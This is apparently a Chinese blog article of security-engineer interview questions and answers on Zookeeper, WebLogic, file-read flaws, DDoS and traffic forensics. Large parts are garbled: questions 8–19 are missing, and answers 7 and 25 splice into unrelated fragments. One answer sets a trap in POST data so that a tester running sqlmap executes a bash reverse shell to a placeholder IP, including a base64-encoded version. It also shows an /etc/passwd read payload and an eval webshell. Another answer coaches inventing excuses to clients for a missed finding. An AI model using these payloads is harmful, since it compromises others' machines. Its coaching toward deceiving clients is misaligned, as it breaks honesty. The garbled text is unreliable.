行业新闻

安全工程师转正面试题

安全工程师转正面试题

原创:3s_NwGeek合天智汇

原创投稿活动:重金悬赏 | 合天原创投稿等你来

最近我们公司准备有几个实习生要转正了,领导让我亲自出一些结合实际安全工作的题目,题目的由来都是从工作中遇到过的问题到解决的的过程中产生的。从简单到难的题目,既能考到实习生的知识基础,又能考到他们的学习能力(面对不同未接触过的难题如何去应对),还有就是情景开放式答题,网上能查到一点资料,但是又需要自己思考的,结合实际工作来回答的。好的话不多说,由简至难奉上题目,以及参考答案,希望我的工作经验中发现的问题能帮到大家。1. Zookeeper默认的端口

三个端口:

  1. 2181:对cline端提供服务
  2. 3888:选举leader使用
  3. 2888:集群内机器通讯使用(Leader监听此端口)

官方文档:

http://zookeeper.apache.org/doc/r3.5.5/zookeeperStarted.html

参考资料1:

https://blog.csdn.net/webnum/article/details/76653665

参考资料2:

https://www.jianshu.com/p/5e012efb2d82

2. Zookeeper主要的作用:

开源的、分布式的、应用程序协调服务

推荐:参考资料1(ZooKeeper是什么)——

https://blog.csdn.net/u012152619/article/details/52901319

参考资料2(ZooKeeper详解) ——

https://www.imooc.com/article/251135

参考资料3(漫画图解ZooKeeper)——

https://juejin.im/post/5b037d5c518825426e024473

3. Zookeeper 未授权访问的检查方法

telnet zookeeper端口 输入envi,回显路径等信息则存在zookeeper未授权访问漏洞

4. 请列出让客户满意的Zookeeper未授权访问漏洞的修复方案

根据客户实际情况可以提供以下修复方案:

  1. 禁止将zookeeper暴露在公网
  2. 使用iptables对端口进行访问控制
  3. 添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
  4. 绑定指定IP访问

参考链接1:https://thief.one/2017/12/08/1

参考链接2:

https://p4yche.com/2018/08/10/zookeepr%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E/zookper%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE/

5. Weblogic后台默认密码

weblogic/weblogic

6. weblogic CVE-2019-2725漏洞描述与让客户满意的修复方案

漏洞描述 :由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。

修复建议 : 官方目前已发布针对此漏洞的紧急修复补丁,可以采取以下4种方式进行防护。

  1. 及时打上官方CVE-2019-2725补丁包官方已于4月26日公布紧急补丁包,下载地址:https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html?from=timeline
  2. 升级本地JDK版本因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。
  3. 配置URL访问控制策略部署于公网的WebLogic服务器,可通过ACL禁止对/_async/及/wls-wsat/路径的访问。
  4. 删除不安全文件删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。具体文件路径如下:10.3.*版本:
\Middleware\wlserver_10.3\server\lib\%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\

12.1.3版本:

\Middleware\Oracle_Home\oracle_common\modules\%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\

注:wls9_async_response.war及wls-wsat.war属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle官方不建议对其进行此类操作。若在直接删除此包的情况下应用出现问题,将无法得到Oracle产品部门的技术支持。请用户自行进行影响评估,并对此文件进行备份后,再执行此操作。

参考网站1:

https://www.chainnews.com/articles/956692560698.htm

参考网站2:

https://www.anquanke.com/post/id/177381#h2-3

6.2

假设现weblogic爆发0day漏洞,weblogic的/vulpath存在漏洞,所有存在http://ip:port/vulpath 路径的系统均受影响,现已完成目标资产的端口扫描,需要你紧急排查受影响资产,请说说你的做法

假设端口扫描时已有版本识别,挑出所有weblogic服务 挑出weblogic服务存在IP+端口地址后,通过url批量检测脚本httpCatcher.py检测出是否存在ip:port/vulpath路径200返回值,返回即为受影响资产

用法为:将IP+端口存在一个ip.txt文件。

v2-bbb05863a54dddb1966f457c0ad669e0_hd.w

然后修改httpCatcher.py的路劲改为/vulpath

v2-c04f41b6a2f0b7a15a58d92531c20bab_hd.w

v2-6050ec3a8db0152f451b180dbff53d33_hd.w

输入命令python httpCatcher.py ip.txt 1.csv即可得到1.csv文件,查看即可

v2-c04f41b6a2f0b7a15a58d92531c20bab_hd.w

v2-447454a2d50c7155f9724bedbe28350e_hd.w

v2-573cc9a05d12a51a8592301a72e1840d_hd.w

7.以下exp是属于哪个cms的远程代码执行漏洞:

http://localhost:9096/public/index.php?s=index/think\app/invokefunctiontd>test/td>,即可构建出payload:test/td>svg/onload=console.log(1)>td>, 最后输出结果为:

td>test/td>svg/onload=console.log(1)>td>/td>

20.如何验证存在任意文件下载的漏洞

一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

利用条件:

  • 存在读文件的函数
  • 读取文件的路径用户可控且未校验或校验不严
  • 输出了文件内容

任意文件下载和任意文件读取有着相似的地方:就是都需要路径 例如 index.php?f=file:///etc/passwd index.php?f=../index.php

修复方案:

两者的修复方案如下:

  • 过滤用户数据,如“/”,“*”,"."等特殊字符
  • 更新中间件
  • 要下载的文件地址保存至数据库中。
  • 文件路径保存至数据库,让用户提交文件对应ID或session下载文件。
  • 用户下载文件之前需要进行权限判断。
  • 文件放在web无法直接访问的目录下。
  • 不允许提供目录遍历服务。
  • 公开文件可放置在web应用程序下载目录中通过链接进行下载

参考链接:

https://www.cnblogs.com/zhaijiahui/p/8459661.html

21.如何判别web服务器是windows还是linux

方法有许多,

  • 方法一:nmap带上-O参数
  • 方法二:查看http报头Server字段
  • 方法三:Windows对于大小写不敏感,替换某个字母为大写返回正常为Windows,反之Linux
  • 方法四:TTL返回值,TTL为64,有很大可能性为Linux,TTL为128,有很大可能性为Windows,TTL为255,有很大可能性为UNIX(可修改TTL)

参考链接:

https://www.zhihu.com/question/20375910

22.ddos攻击如何去防范

DDoS分为很多种,对于不同的类型有着不同的应付方式

目前对于低网络层的DDoS攻击有一些有效的防护手段,如丢弃第一次SYN包,上流量防护设备,上WAF封禁地址等

比较难缠的是第七层,第八层的CC攻击,它会找到目标网站上比较消耗资源的关键位置,重复发起攻击以消耗CPU/内存/数据库IO等资源 目前的应付手段有:优化资源消耗高位置的代码,增加硬件设备,上云,购买专业安全公司的安全服务

除此之外,隐藏服务器的真实IP、上云WAF、CDN、负载均衡等设备,或者暂时将域名解析到公安网警网站等 也是可以作为选择方案

23. web短信重置密码有可能有哪几种绕过方式

1,短信验证码可爆破;

2,短信验证码显示在获取验证码请求的回显中;

3,注册手机号及短信验证码未进行匹配性验证;

4,用户名、手机号码、短信验证码三者没有进行匹配性验证;

5,短信验证码的验证在本地客户端进行验证;

6,重置步骤未进行校验;

7,重置请求未验证身份;

8,登陆成功修改密码功能平行越权;

9,未校验身份信息的唯一标识cookie信息;

参考链接1:

https://www.cnblogs.com/peterpan0707007/p/8721094.html

参考链接2:

http://www.nxadmin.com/web/1642.html

24.假设发现数据库短时间内查询异常次数增多,描述sql查询异常流量分析的思路。

数据库短时间内查询增多有可能遭遇到了扫描或者sql注入测试,可以结合流量分析工具进行研判

select 和 union 为数据库查询语句特征,当这两者数量出现次数较多而且差异较小可能存在SQL注入漏洞或正在被扫描器扫描,可监控这两个关键字,但还需要进一步查看具体请求参数

如:

1) 使用wireshark打开抓取后的流量包。

2) 对于抓取到的数据包筛选出HTTP协议包,在统计处筛选出短时间内流量较大的IP

v2-ef781904e7763c792981d95bcf36948d_hd.w

3) 尝试定位一些基本的注入特征(select、union、()、/*、sleep等)

v2-c04f41b6a2f0b7a15a58d92531c20bab_hd.w

v2-36cded90fa7cd3c7c5e22a03009cc26b_hd.w

4) 筛选出可以攻击IP,分析流量包HTTP流。即可定位

v2-aa5346a274989cb72c6c66b95152ea66_hd.w

25.假设发现web应用服务器发现文件异常增多,初步怀疑被上传webshell,描述流量分析溯源的思路。

可利用流量工具进行溯源:

1) 查看eval、z0、shell、whoami等关键字,查看出现次数过多的时候,可能需要查看是哪个页面发起的请求,有可能是webshell

2) 通过WireShark工具快速搜索关键字,定位到异常流量包

3) 找出异常IP和所上传的内容,查看是否为webshell

如何定位到攻击IP:

1) 首先通过选择-统计-对话查看流量的走向情况,定位可疑的IP地址

2) 根据定位到的IP地址,尝试对上传的webshell进行定位ip.addr == ip ?php eval($_POST[“cmd”]) ?> ,现在使用webshell直接构造请求包上传文件,请给出使用webshell直接上传文件的请求包。

POST /1.php HTTP/1.1User-Agent: Java/1.8.0_211Host: 127.0.0.1Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: keep-aliveContent-type: application/x-www-form-urlencodedContent-Length: 800cmd=@eval.(base64_decode($_POST[action])); Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Content-Length: 478 Connection: close

test=123 已知新手攻击者会直接复制post的data使用sqlmap 命令:

sqlmap -u http://3s_nwgeek.com/test.php

--data “post的data” --dbs --random-agent来进行sql注入漏洞检测,现在你是网站的开发,你会如何进行反渗透,令攻击者在输入测试指令的过程中不经意地执行了你的恶意指令。

其实sqlmap的命令中, 在Linux下的bash命令为: sqlmap -u http://3s_nwgeek.com/test.php --data “post的data” --dbs --random-agent 其中如果在命令中插入双引号中的”!!”或者”!+数字”,会替换成历史命令,执行”history”命令,就可以知道哪些数字对应哪些命令了。 如果我将”!”放入到http请求中, 执行了bash# sqlmap -u "www.asnine.com/test" --data"post!!request=hacked" 首先双引号中的!!会被替换成你最近执行的一条历史命令 上面只是一个例子

那么如果将 ` 这个符号插进命令行中, 任何在 `` 之间的命令,都会被执行 如果我将这些特殊的字符(“!” , “`”…)放到get/post/cookie等http请求参数中,万一有人用sqlmap去对该网站进行安全测试,而注入参数正好包含了这些特殊字符,那么有意思的事情就产生了

构建的参数如下:

sqlmap –u "

v2-b66c0340c5b2ab15552f6299462f13e9_hd.w

这时候如果直接将postdata,复制,粘贴,sqlmap执行之, 就凉了, 就会被执行

sqlmap –u "http://sample.com/a=xxx&b=xxx" –data name=Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234

bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1这个特征比较明显,我们可以进行进行编码一下,可以避开很多问题

bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjgueHh4Lnh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}

其中 ` 里面的命令就会被执行

参考链接1:

https://www.freebuf.com/sectool/116706.html

参考链接2:

https://www.freebuf.com/articles/network/116922.html

30. 某专业公司A公司安全项目,跟专业公司A谈妥后完成了外网扫描任务,现在进行内网扫描。由于业务量比较大安排在晚上下班后进行扫描。第一天扫描晚上9点由于不明原因导致A专业公司所有系统无法访问,被专业公司A的人询问情况, 第二天检查原因发现,是因为所有流量是经过VPN到达主机,导致进出口VPN网关堵塞,业务无法正常访问,请问被专业公司A的人询问情况如何应急处理?判断原因并说明后续如何开展扫描任务?

考查应急处理和客户沟通,首先调解客户情绪,跟客户沟通,立马停止扫描以恢复业务系统正常,并告知A公司进行排查原因,检查网络与主机情况。 其次考察网络知识,既然流量通过VPN会进行堵塞,想办法绕过此VPN或者降速,这里要求提供内网扫描机器进行扫描即可,但需要吸取上次经验扫描前进行扫描测试,如在中午休息的时候进行探测性扫描,测压。然后在晚上再进行扫描,扫描时需要A公司派网管人员帮忙查看系统状况是否正常。

31. 扫描任务结束后将结果发给A公司,A公司对其中的一类型漏洞表示疑惑:认为自己没有办法修复此类漏洞(比较积极的专业公司),向我方询问,并想要我方帮忙修复漏洞。此场景应该怎么处理?

考察责任划分问题,原则上是不允许直接操作客户公司的机器,以及 对于客户机器权限需要特别谨慎对待(能不要就不要), 我们负责解释漏洞这方面的事宜,并且积极的提供整改建议,并不能直接或者间接操作客户机器。

其次考验客户想让我们直接修复漏洞的处理方式,这种情况会经常出现在我们的日常工作中,我们要说明职责范围: 我们只负责解释漏洞描述和原理以及修复建议,他们负责整改. 我们对系统业务不熟悉,我们亲自修复话出现风险和问题也是我们承担不了的。

32. 安全任务结束后,发还结果给A公司,A公司经过检查后发现某个漏洞没有出现在结果里,被遗漏了。经检查后发现确实是我方当时没有扫描出来,如何跟客户解释和处理?

考察沟通能力, 首先安抚客户情绪, 直接先给结论不合适,可以先表示我们进行核查后反馈,然后扫描的漏洞进行复扫再分析, 接下来就是找有理有据经得起推敲的理由来合适圆场

先确认该漏洞是否存在

如果漏洞存在

也就是我们没扫出来,就需要检查当时资产是否存活,是不是关停又开起来,是不是因为当时网络不好,带宽不够大,网络波动大,外网环境不稳定、WAF拦截等,先稳住客户情绪,让客户相信我们是有能力的,只是偶尔因为不可控因素出现了问题 然后提供补救方案,进行补扫等后续方案

如果漏洞扫不出来 换个扫描器,比较差异,如果还是扫不出来的话,就要考虑优化方案,看要不要立个专项检测来单独对此漏洞进行批量排查。 如果实在是我们的问题,找不到理由圆场的话,我们就老实承认, 找客户经理进行沟通,提出不足并且要有改进的方案等, 考虑如何给客户一个满意的交代,确保下次不会再出现此类问题


声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关,本文为合天原创,如需转载,请注明出处!